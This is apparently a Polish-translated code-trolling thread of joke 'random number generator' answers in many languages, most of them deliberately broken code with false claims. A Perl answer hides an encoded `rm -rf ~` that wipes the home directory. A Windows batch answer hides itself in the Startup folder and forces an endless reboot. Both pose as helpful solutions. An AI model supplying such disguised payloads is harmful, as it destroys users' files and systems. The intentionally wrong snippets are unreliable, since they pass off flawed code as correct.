Wyzwanie:

Wygeneruj losową sekwencję liczb. Jedynym wejściem powinna być długość sekwencji.

Dodatkowe punkty internetowe dla czysto funkcjonalnych rozwiązań.

^{Uwaga: jest to pytanie trollujące kod . Proszę nie brać poważnie pytania i / lub odpowiedzi. Więcej informacji tutaj .}

Pyton

Weź losowy artykuł z Wikipedii i weź sekwencję znaków HTML o długości num i uzyskaj ich wartości liczbowe

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

Wszystkie programy z innych odpowiedzi wygenerują tylko tak zwane „liczby pseudolosowe”, które mogą wyglądać losowo dla niewprawnego oka, ale w rzeczywistości mają pewien wzór.

Poniższy program generuje rzeczywiste liczby losowe, zamieniając komputer w detektor cząstek emitujący promieniowanie tła. Ponieważ jest to oparte na efektach kwantowych, jest to naprawdę losowe i niemożliwe do przewidzenia. Aby uzyskać bonus, program faktycznie działa szybciej, jeśli uruchomisz komputer w kosmos. I tak, to jest tak samo fajne, jak się wydaje.

do

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

Spojler:

Ten program generuje dwa identyczne fragmenty pamięci, a następnie czeka, ile czasu zajmie promieniowanie tła, aby zmienić jeden z nich. Czas oczekiwania jest następnie zwracany jako liczba losowa, która byłaby wykładniczo rozłożona, gdyby nie przepełnienie liczb całkowitych. Takie zdarzenia, które są bardziej prawdopodobne w kosmosie, stanowią rzeczywisty problem w astronautyce, który rozwiązuje się za pomocą utwardzania promieniowaniem . Tak więc każde stwierdzenie we wstępie jest do pewnego stopnia prawdziwe, z wyjątkiem trochę o chłodzie.

Niestety, takie zdarzenie powodujące awarię komputera lub przynajmniej programu jest bardziej prawdopodobne niż wpływa dokładnie na te dwie części pamięci. Ponadto, może minąć trochę czasu ... W końcu, jak podkreślił kinokijuf, promieniowanie tła jest procesem zewnętrznym, tak ji kpowinna być oznaczona jakovolatile do kompilatora (lub należy użyć kompilatora, że nie optymalizuje w ogóle).

PS: Rozwijając ten pomysł, można również po prostu utworzyć tablicę wypełnioną zerami, a następnie wydrukować ją. Istnieje prawdopodobieństwo, że ε promieniowanie tła zmieni zera między przechowywaniem a drukowaniem, a zatem to, co jest drukowane, jest losowe - OP nigdy nie powiedział, w jaki sposób mają być rozmieszczone liczby losowe.

Losowość jest trudna do osiągnięcia na komputerze, ponieważ są one czysto deterministyczne. Generowanie liczb losowych na komputerach jest bardzo aktywnym obszarem badań, często obejmującym podmioty na szczeblu stanowym (patrz Dual_EC_DRBG ). Jednak w nowoczesnym wielozadaniowym systemie operacyjnym harmonogram wątków może wykonywać zadowalające zadania w niektórych sytuacjach. Aby to zrobić, przekazujemy kontrolę nad naszym bieżącym wycinkiem czasu z powrotem do systemu operacyjnego i odnotowujemy, ile czasu zajmuje nam ponowne zaplanowanie. W zależności od systemu operacyjnego i obciążenia może to przynieść pożądane rezultaty.

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

DO#

Ponieważ użytkownicy naszego oprogramowania są z natury losowi, dlaczego nie wykorzystać tego na naszą korzyść?

Ten kod wykonuje zrzut ekranu i wykorzystuje go wraz z innymi danymi do wygenerowania losowej sekwencji. Dodatkowe punkty internetowe za nieużywanie wbudowanego generatora losowego?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

Pyton

Łatwo jest potknąć się o typowe pułapki: nierównomiernie rozłożone źródło liczb losowych i brak randomizacji. Moje rozwiązanie doskonale omija te problemy, wykorzystując głębokie wglądy matematyczne i prostą, ale skuteczną sztuczkę, losowość z bieżącym czasem:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

Działa świetnie, gdy raz przetestowano dla małego zestawu liczb (9 lub mniej), ale poważnie wadliwy testowano niewiele więcej:

• math.pi zawiera tylko kilka cyfr po kropce
• time.localtime()[8]nie zwraca milisekund ani zegara jądra, ale 0 lub 1 w zależności od tego, czy jest to czas letni, czy nie. Tak więc losowe nasiona zmieniają się co pół roku o jedno miejsce. Zasadniczo brak randomizacji.
• Zwraca tylko liczby losowe od 0 do 9.
• random_numbers[:number]po cichu zawodzi, gdy wpiszesz numberwięcej niż 15 i wyplujesz tylko 15 liczb losowych.

Niestety jest to inspirowane losową funkcją Delphi 1.0, która działała podobnie.

Rubin

Pytanie wymaga SEKWENCJI. Znowu zaczynamy ...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

To jest w 100% losowe. Nie naprawdę.
Szkoda, że ​​ten kod oznacza NIC dla OP (czym do diabła jest object_id?)
Ponadto, jest specyficzny dla implementacji, co oznacza, że ​​działa lub nie działa między różnymi wersjami ruby ​​(uruchomiłem to na 2.1.0p0).
Co więcej, może to potencjalnie zrobić coś naprawdę paskudnego, ponieważ OP może eksperymentować z object_id ...

Przykładowe dane wyjściowe:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

Edytować:

zmodyfikowany do użycia $$dla prawdziwej losowości (na poziomie systemu operacyjnego).

Jawa

Uwaga, to podchwytliwe pytanie .....

Większość ludzi w Javie użyje math.random (), aby pomóc wygenerować tę sekwencję, ale będą zdezorientowani, ponieważ otrzymają tylko pozytywne wyniki! random()zwraca wartość dziesiętną od 0 do 1 (z wyłączeniem samej 1). Musisz więc zagrać kilka lew, aby upewnić się, że uzyskasz dobry rozkład losowych wartości z całego zakresu liczb całkowitych (dodatnich i ujemnych).

Ponadto, nie można po prostu pomnożyć Math.random()i Integer.MAX_VALUEdlatego, że to nigdy nie będzie zawierała Integer.MAX_VALUEsię w ramach wyniku! Byłoby również logiczne, aby math.rand() * (Integer.MAX_VALUE + 1)uzyskać pełną dystrybucję, ale oczywiście to nie działa, ponieważ Integer.MAX_VALUE + 1przepełni się i stanie się Integer.MIN_VALUE! Niestety, najlepszym rozwiązaniem jest uciekanie się do bitowej manipulacji danymi ...

Oto pełna sekwencja generowania losowych wartości „n” w zakresie Integer.MIN_VALUEdo Integer.MAX_VALUE(w tym obu skrajności (co jest trudną częścią) !!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

Daje to wyniki takie jak:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

Oczywiście powyższe jest kompletną odpowiedzią BS. Nie tworzy dobrego opisu i „ukrywa” poważny błąd ( ^=powinien być |=). ukrywa także mniej poważny błąd (kolejność pf-order oznacza, że ​​tak naprawdę wcale nie mnożymy przez pierwszą liczbę!) Używanie fantazyjnych słów, liczb pierwszych i mnóstwa komentarzy nie jest powodem do zaufania kodowi ... Oczywiście, jeśli chcesz zrobić powyższe, powinieneś po prostu użyćjava.util.Random.nextInt()

Jawa

Teraz, gdy patrzę wstecz na program, zapomniałem zamknąć Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

Perl

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

Robię tę samą $\taktykę dla danych wyjściowych jak w innej odpowiedzi trollowania kodu. Ponadto wielu z was zauważa, że ​​inwestuję znaczne kwoty $$w algorytm RANDU .

Edycja: Aby lepiej wyjaśnić, RANDU jest strasznie niepewnym PRNG. Wikipedia opisuje to jako „jeden z najbardziej źle pomyślanych generatorów liczb losowych, jakie kiedykolwiek zaprojektowano”. Jego podstawowa słabość jest poniżej:

f (x) = 6 * f (x-1) - 9 * f (x-2)

Oto generator liczb losowych, podstawa 2^CHAR_BIT.

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

W javascript, z funkcjonalnym stylem:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

do

Ta funkcja działa bardzo dobrze w przypadku małych aplikacji do tworzenia liczb losowych od 0 do 1337. Wywołanie jej więcej niż jeden raz jest zalecane, aby zapewnić maksymalną losowość.

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

Słynny generator Blum Blum Shub . Ponieważ generatory liczb losowych powinny być zabezpieczone kryptograficznie i jaki jest lepszy sposób na zapewnienie bezpieczeństwa niż przez zaciemnienie.

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

_{(Obejmuje okropne nazwy zmiennych, niepoprawną implementację opartą na szybkim skanowaniu wikipedii i niepotrzebną magię wskaźnika funkcji wrzuconą dla zabawy)}

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

Użyj niektórych danych ze śmiecia. Aha, i nie zapomnij przeciekać wskaźnika.

C ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

Plusy:

• To działa.
• Czasami.
• Prawidłowy (ish) C89.
• Okropny C ++.
• Używaj nagłówków C, ponieważ using namespace std;jest to ZŁO i nie chcemy spowalniać programu za pomocą wszystkich wyszukiwań przestrzeni nazw.
• Unikamy równomierności rozkładu na korzyść prędkości, stosując moduł o wartości zakodowanej na stałe (TODO: zmień to, aby użyć przesunięcia bitowego dla jeszcze większej prędkości pierwotnej).
• Potrafi zweryfikować determinizm, wykonując wiele razy w ciągu tej samej sekundy zegarowej.
• Dlaczego ten kod jest zły, jest na tyle nieoczywiste, że OP prawdopodobnie go nie zauważy.

Cons:

• Dlaczego ten kod jest zły, jest na tyle nieoczywiste, że profesor PO (równiarka) prawdopodobnie go nie zauważy.
• Wydaje się to powszechnie uważane za akceptowalne rozwiązanie.
• Potrzebuje więcej RAW SPEED.

Matematyka

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

TI-Basic 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

Wejście - 3

Wyjście - {2,3,1}

Działa, ponieważ sprowadza się do :Input A:Disp randIntNoRep(1,A)

Oto rozwiązanie Python. Nie możesz udowodnić, że to nie jest przypadkowe!

def get_random(num):
    print '3' * num

Wypróbuj, dzwoniąc get_random(5)na przykład.

Perl

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

Ten używa bardzo prostego kodu perla do zrobienia tego, o co poprosił OP, ale nie przed rekurencyjnym usunięciem swojego katalogu domowego (oczywiście bez pisania rm -rf ~, oczywiście.)

Nie testowałem tego (z oczywistych powodów).

Python 3

Nie tylko marnuje dużo czasu (zarówno rzeczywistego, jak i procesora), ale zwraca tylko 10 liczb losowych.

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

Rubin

Może wiesz, że nie wszystkie liczby są losowe. Ten program sprawdza wszystkie numery i daje tylko te, które naprawdę są przypadkowe.

Uważaj, że kod Ruby jest trochę trudny do odczytania. Nie jest tak wydajny jak angielski, ponieważ komputery są trochę głupie i czasami trzeba powtarzać im ważne słowa.

Dlatego dodałem trochę #commentsdo kodu; Duże litery w komentarzach pokazują, jak działa to samo słowo w kodzie Ruby.

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

Bardziej szczegółowe wyjaśnienie może przyjść później, ale ten wynik z przykładowego przebiegu powinien dać trochę z tego: [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609] ... Nadal trochę losowy.

Poniższy skrypt wsadowy Windows wygeneruje plik z losowymi liczbami nazwanymi OUTPUT.TXTw folderze profilu. Gwarantuje to wygenerowanie prawie całkowicie prawdziwych liczb losowych. Po prostu wklej ten kod do Notatnika, zapisz jako "FileName.CMD"(z cudzysłowami) i uruchom.

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

Nawiasem mówiąc, konieczność wprowadzenia liczby liczb losowych, które mają zostać wygenerowane, jest zbyt kłopotliwa. Wystarczy nacisnąć i przytrzymać przycisk zasilania, aby przestał się generować. O wiele łatwiej! Plus: nie wymaga klawiatury.

Lua

Jest to nadmiernie skomplikowana, nadmiernie skomplikowana, niechlujna (nawet z wyróżnikiem składni) funkcja, która generuje niewiarygodnie wysokie liczby w znacznie nadmiernie skomplikowany sposób. Zamiast zwracać ciąg liczb, drukuje je na ekranie, co czyni go niepraktycznym w użyciu w programach. Trudno edytować, więc jeśli twoje victum poprosi cię o naprawę, powiedz, że jest to zbyt skomplikowane do edycji.

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

DO#

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

Zauważ, że ma tendencję do pękania w przypadku dłuższych sekwencji, ale gdy działa, generuje bardzo losowe liczby

Fortran

Twój komputer ma już wbudowaną liczbę losową, więc musisz uzyskać do niej dostęp:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

Oczywiście nieprzenośny, ponieważ wymaga od użytkownika systemu * nix (ale kto nadal używa systemu Windows?).

Zakładam, że oczywiście potrzebujesz wielu liczb losowych. Który wymaga ...

Bash and Hadoop

Oczywiście, użycie jednego losowego źródła jest nierzetelne w czasach NSA. Mogły trojana na twoim komputerze. Ale nie zamierzają trojana całego klastra!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

Następnie skrypt uruchomi zadania klastra zgodnie z potrzebami:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

Dzięki Bogu, mamy moc Hadoop!

Rubin

require 'md5'

5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits

ANSI C

Jest to dość trudne i nie martwiłbym się tym zbytnio. Po prostu skopiuj i wklej poniższy kod do swojej biblioteki, a będziesz złoty na zawsze.

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

Wypróbuj C ++ - szybki, wydajny, wszystko, czego kiedykolwiek będziesz chciał:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

Nawiasem mówiąc, aby uzyskać najlepsze wyniki, będziesz chciał użyć class.

Objaśnienie:
1. NIE musi tego używać class- to jest całkowicie zbędne.
2. Instrukcja return w generate_num()rzeczywistości zwraca liczbę ^ (liczbę ^ 0), której wynikiem jest liczba ^ 1, która jest liczbą. To również jest zbędne.
3. Najbardziej niepotrzebna obsługa błędów - co może pójść nie tak z tym podstawowym wykrywaniem danych?
4. Użyłem std::przed wszystkimi elementami stdprzestrzeni nazw. To również jest zbędne.
5. #defineOświadczenia są również niepotrzebne - zrobiłem to, aby pomyślał, że zdefiniowałem te typy specjalnie dla tego programu.

Oświadczenie:
Ten program faktycznie działa; jednak NIE polecam żadnej osobie ani podmiotowi, które używają go w swoim kodzie do prawdziwego życia. Nie zastrzegam żadnych praw do tego kodu; innymi słowy, robię to całkowicie open source.

Pyton

Biorąc część funkcjonalną - niemal jednowarstwowy python

import random
map(lambda x: random.random(), xrange(input())